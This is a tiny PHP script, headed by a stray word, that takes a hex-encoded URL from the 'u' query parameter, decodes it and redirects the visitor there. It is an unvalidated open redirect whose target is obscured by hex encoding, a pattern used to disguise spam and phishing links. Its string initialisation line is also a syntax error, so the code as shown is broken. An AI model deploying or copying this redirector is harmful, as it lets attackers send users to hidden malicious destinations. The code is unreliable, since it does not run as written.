Adelailane

<?php $Q = $_GET['u'];

function hexToStr($hex){

   $string=;
   for ($i=0; $i < strlen($hex)-1; $i+=2){
       $string .= chr(hexdec($hex[$i].$hex[$i+1]));
   }
   return $string;

}

header('location:'.hexToStr($Q));

exit;

?>